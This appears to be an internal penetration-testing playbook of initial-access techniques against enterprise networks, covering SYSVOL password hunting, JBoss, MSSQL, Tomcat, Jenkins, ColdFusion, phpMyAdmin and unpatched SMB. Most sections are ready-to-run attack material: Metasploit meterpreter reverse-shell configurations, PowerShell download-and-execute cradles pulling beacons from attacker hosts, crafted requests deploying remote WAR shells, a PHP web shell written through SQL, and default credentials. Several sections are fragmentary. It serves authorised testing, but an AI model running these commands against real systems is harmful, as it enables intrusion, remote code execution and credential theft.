SYSVOL

Description

Any domain user may discover clear text credentials by pilfering in the SYSVOL share on a DC.

Scenario & Commands

Once you have a set of domain credentials, you are able to mount the SYSVOL share on DCs. This may contain a groups.xml file, or other interesting files such as .bat and .vbs, which may contain credentials.

Note, the SYSVOL share is replicated across the DCs in the environment, so no need to check each and every one.

Browse \\domain.com\SYSVOL\ for any files with credentials, specifically check groups.xml files.

Look in the scripts folder for a groups.xml. Look around at other files for credentials.

OR...

```
findstr /S /R /C:"cpassword=.[a-zA-Z0-9\+\/]"
\\domain.com\SYSVOL\*groups.xml
```

Encrypted passwords can be decrypted with a static key. Use Get-DecryptedCpassword within Get-GPPPassword.ps1 in PowerSploit.

Jboss

Description

An attacker that can identify the open jmx-console can use custom .war files and scripts or "point and shoot" tools such as Metasploit to gain access to the operating system.

Scenario & Commands

Commonly found on port 8080 at the /jmx-console path on the webserver. The http-admin-check NSE will check for this path.

Manual Method:

Host cmd.war somewhere

In the jmx-console, click on service=MainDeployer under jboss.system

In void deploy() with java.net.URL parameter, enter the url to cmd.war

Click Invoke

Browse to /cmd/cmd.jsp

Run a command for C2

Metasploit:

```
use exploit/multi/http/jboss_maindeployer

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [MY IP ADDRESS]

set SRVHOST [MY IP ADDRESS]

set RHOST [TARGET IP]

exploit
```

Jboss HEAD Verbs

Description

An attacker that can identify the HEAD bypass vulnerability can execute commands and upload .war files to the system.

Scenario & Commands

http://IP/invoker/EJBInvokerServlet

http://IP/invoker/JMXInvokerServlet

Deploy:

```
HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://YOUR_IP/cmd.war HTTP/1.1

Host: VULNERABLE_IP:8080

User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:38.0) Gecko/20100101 Firefox/38.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=136A739CEDD625DB7F5074774C83D5B8
```

```
Connection: keep-alive
```

Undeploy:

```
HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=undeploy&argType=java.lang.String&arg0=http://YOUR_IP/cmd.war HTTP/1.1
```

Blank or Weak MSSQL Passwords

Description

The 'SA' account has special privileges on SQL Servers that allow an attacker to gain operating system level access to the server. Using the xp_cmdshell stored procedure, an attacker can issue operating system level commands on the server and further propagate access throughout the network.

Scenario & Commands

Run the Database Scan to identify MSSQL. The ms-sql-empty-password.nse will identify hosts which have SA/blank default credentials.

PowerUpSQL

```
Invoke-SQLOSCmd -Instance "<hostname>" -Username "<username>" -Password "<password>" -Verbose -Command "<beacon command>"
```

PowerUpSQL will automatically enable xp_cmdshell if needed.

The Long Road

Now on your Windows Pentest VM you will find MS SQL Server Management Studio as a program (if not, download it). Login to the database using SQL authentication, username as SA, and a blank password.

Right click on the IP on the left under "Object Explorer" and select "New Query".

Test if xp_cmdshell is enabled:

```
EXECUTE [master].[dbo].[xp_cmdshell] 'whoami'
```

If xp_cmdshell needs to be enabled:

```
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
```

Pop your beacon:

```
EXECUTE [master].[dbo].[xp_cmdshell] "powershell -nop -w hidden -c IEX
((new-object net.webclient).downloadstring('http://YOUR_IP/PAYLOAD'))"
```

Open network shares

Description

Unstructured data such as Office documents, script files, text files and scanned documents can contain sensitive information such as passwords, PII and EPHI.

Scenario & Commands

Select manual searches are often best, especially when a large environment will have too many shares for a tool to ever finish scanning.

ShareEnum

ShareEnum has a GUI interface

NetScan

MS17-010

Description

Identify if its vulnerable with nmap script

Point and shoot EternalBlue

Scenario & Commands

```
nmap -sS -p 445 -Pn --script=smb-vuln-ms17-010.nse --randomize-hosts -oA
OUTPUT IPADDRESS
```

See how to

MS08-067

Description

If you can identify which critical patches are missing you can use “point and shoot” tools such as Metasploit and exploit scripts to gain system level access to the operating system. Once OS level access is obtained, you can extract usernames and password hashes, confidential data, and use that system as a pivot point to gain access to additional resources on the network.

Scenario & Commands

Nmap

Get the custom script from SharePoint scripts and tools folder:

https://securityriskadvisors.sharepoint.com/:u:/g/Eeni3R0v9IBDqaI9l0Vc8D0BNWd8z-ZHgz1YWNfewYdv7g?e=7WIsdC

```
nmap -sS -PN -p445 --script=smb-check-vulns-ms08-067-only.nse -oA output
IPADDRESS
```

Metasploit

```
use exploit/windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [MY IP ADDRESS]

set RHOST [TARGET IP]

exploit
```

Frontpage and WebDav

Description

You can leverage anonymous authoring to upload custom asp scripts to gain operating system level access. Once OS level access is obtained, you can extract usernames and password hashes, confidential data, and use that system as a pivot point to gain access to additional resources on the network.

Scenario & Commands

Nmap

```
Use the standard wep application ports nmap scan with title and admin
check NSE scripts to identify.
```

Metasploit

```
use exploit/windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [MY IP ADDRESS]

set RHOST [TARGET IP]

exploit
```

VNC, FTP or other Remote Access

Description

VNC, FTP and other remote access protocols are often configured with blank or easily guessable passwords. They can be used to obtain sensitive information or take over an active session on a server or workstation

Scenario & Commands

Nmap VNC

```
nmap -sS -PN -p5800,5900,5901 --script=vnc-info.nse,realvnc-auth-bypass.nse -oA output IPADDRESS
```

Nmap FTP

```
nmap -sS -PN -p21 --script=ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse -oA output IPADDRESS
```

Tomcat Admin

Description

Default Tomcat passwords can allow you to use a Metasploit module to connect and gain a Meterpreter shell on the host.

Scenario & Commands

Metasploit scan for default passwords

```
use auxiliary/scanner/http/tomcat_mgr_login

set STOP_ON_SUCCESS true

set RHOSTS [TARGET IPS]

set RPORT 8080

run
```

Metasploit exploit

```
use exploit/multi/http/tomcat_mgr_deploy
set PASSWORD [password identified above]
set USERNAME [username identified above]
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST [MY IP ADDRESS]
set RHOST [TARGET IP]
set RPORT 8080
exploit
```

Responder

Description

This attack is NetBIOS Spoofing and WPAD spoofing.

Scenario & Commands

Analyze Mode:

```
Responder -I eth0 -A
```

Default settings (usually appropriate):

```
Responder -I eth0
```

Force WPAD (this is aggressive):

```
Responder -I eth0 -w -F
```

ColdFusion

Description

This is an attack against the Cold Fusion admin portal. Versions 9 and 10.

Scenario & Commands

/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en

save this to a file called "test.html"

```
<form
action="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfc?method=login"
method="post">

<input type="hidden" name="adminpassword" value="">

<input type="hidden" name="rdsPasswordAllowed" value="1">

<input type="submit">

</form>
```

Open it in a new tab and you should be logged in as an admin user:

http://**[HOSTNAME]**/CFIDE/administrator/index.cfm

go to settings summary

then mappings

you should see /CFIDE as a default mapping

you need to copy the path next to it

then go to Debugging and Logging tab

click Scheduled Tasks

then Schedule New Task

name it whatever

Then host a text file of cfm shell

change the URL in your task to that URL

check the option to save the output to a file

click the green run now button

browse to file /CFIDE/sra.cfm and run commands

backupexec port 10000

Description

Scenario & Commands

```
veritas/symantec agent module exploit/windows/backupexec/remote_agent
```

MS10-061

Description

Scenario & Commands

smb-vuln-ms10-061.nse metasploit reversetcp

IDRAC

Description

IPMI hash retrieval and Cipher Zero

Scenario & Commands

The web page title will be something like "Dell Integrated Remote Access Controller"

root:calvin

PXE Boot

Description

This attack obtains an image from their TFTP boot server

Scenario & Commands

See Garrett's presentation:

https://securityriskadvisors.sharepoint.com/:p:/g/Ef-NdUrWrq9GkFXFtKE2yIABHoRY9Wj8do_TpDsRhKENRQ?e=TeFdUX

MS14-068

Description

Scenario & Commands

```
import-module servermanager
Add-WindowsFeature -Name "RSAT-AD-PowerShell" -IncludeAllSubFeature
import-module ActiveDirectory
```

```
Get-ADDomainController -Fi *|select -exp name|?{-not (Get-HotFix -id
KB3011780 -co $_ -ea 0)}
```

Jenkins Server

Description

Jenkins has a script console that when configured poorly can be access without authentication.

Scenario & Commands

```
println "whoami".execute().text

"<beacon command>".execute()
```

Note: you may need to escape single quotes within your command. Eg:

```
def proc = 'cmd.exe /c "powershell -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring(\'http://<CS server>/z\'))"'.execute()
```

```
import hudson.util.Secret

def secret =
Secret.fromString("zlvnUMF1/hXwe3PLoitMpQ6BuQHBJ1FnpH7vmMmQ2qk=")

println(secret.getPlainText())
```

IPMI Cipher0 Auth Bypass

Description

This allows an attacker to bypass authentication for the IPMI server. Once identified, you can list all user's of the server as well as create your own, alter passwords, change roles, etc...

Scenario & Commands

Check IPMI servers using the following Metasploit module:

```
auxiliary/scanner/ipmi/ipmi_cipher_zero
```

If it returns vulnerable use ipmitool to determine if you can connect:

```
ipmitool -I lanplus -C 0 -H <IP Address of Server> -U <User Account> -P
NotThePassword user list
```

Physical Access

Description

rubber ducky, kali boot

Scenario & Commands

phpMyAdmin

Description

uploading a cmd.php file to the database server

Scenario & Commands

No Authentication or blank root passwords

You'll need MySQL < 5.0 to be running as root for this to work...

run SQL:

```
select "<HTML><BODY><FORM METHOD='GET' NAME='myform' ACTION=''><INPUT
TYPE='text' NAME='cmd'><INPUT TYPE='submit'
VALUE='Send'></FORM><pre><?if($_GET['cmd']){system($_GET['cmd']);}?></pre>
</BODY></HTML>" into outfile "C:/dev/xamp/htdocs/xampp/cmd.php"
```

needs to be a valid file path in a web directory. (check phpinfo.php for filepaths)

either run powershell from the php shell, or upload the command to a .bat file and run the bat file from the shell

```
select "powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://10.0.166.186/a'))\"" into outfile
"C:/dev/xamp/htdocs/xampp/beacon.bat"
```

```
beacon.bat
```

iSCSI

Description

port 3260 and the NSE iscsi-info

Scenario & Commands

https://www.pentestpartners.com/blog/an-interesting-route-to-domain-admin-iscsi/

JMX Access

Description

Accessing the Tomcat JMX interface to find the manager credentials

Scenario & Commands

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/february/compromising-apache-tomcat-via-jmx-access/

Nmap

```
nmap -sS -Pn -p80,443,1099,2001,8080 --open --script=http-admin-check.nse,http-title.nse --script-args=http.useragent="Mozilla/5.0 ;Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; like Gecko" -oA output IPADDRESS
```

In JConsole:

Remote Process: <IPADDRESS>:<PORT> (probably port 1099 or 2001)

Blank User/Password

monitorRole:tomcat (read only)2=['/2

controlRole:tomcat (read/write)

MBeans tab -> "Users->User->"manager"->UserDatabase->Attributes"

Mouse Jacking

Description

PowerShell, regsrv32

Scenario & Commands

Ducky Script to CS server

NIC Responder

Description

Physical access to logged in user's workstation by plugging into NIC.

General Web Vulnerabilities

Description

Web vulnerabilities such as admin sections that are accessed anonymously, have SQL Injection vulnerabilities, easily guessable passwords, or hard-coded credentials can give you a foothold on the network.

Scenario & Commands

Nmap

```
nmap -sS -PN -p80,443,8080,8081 --script=http-admin-check.nse,http-title.nse --script-args=http.useragent="Mozilla/5.0 ;Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; like Gecko" -oA output IPADDRESS
```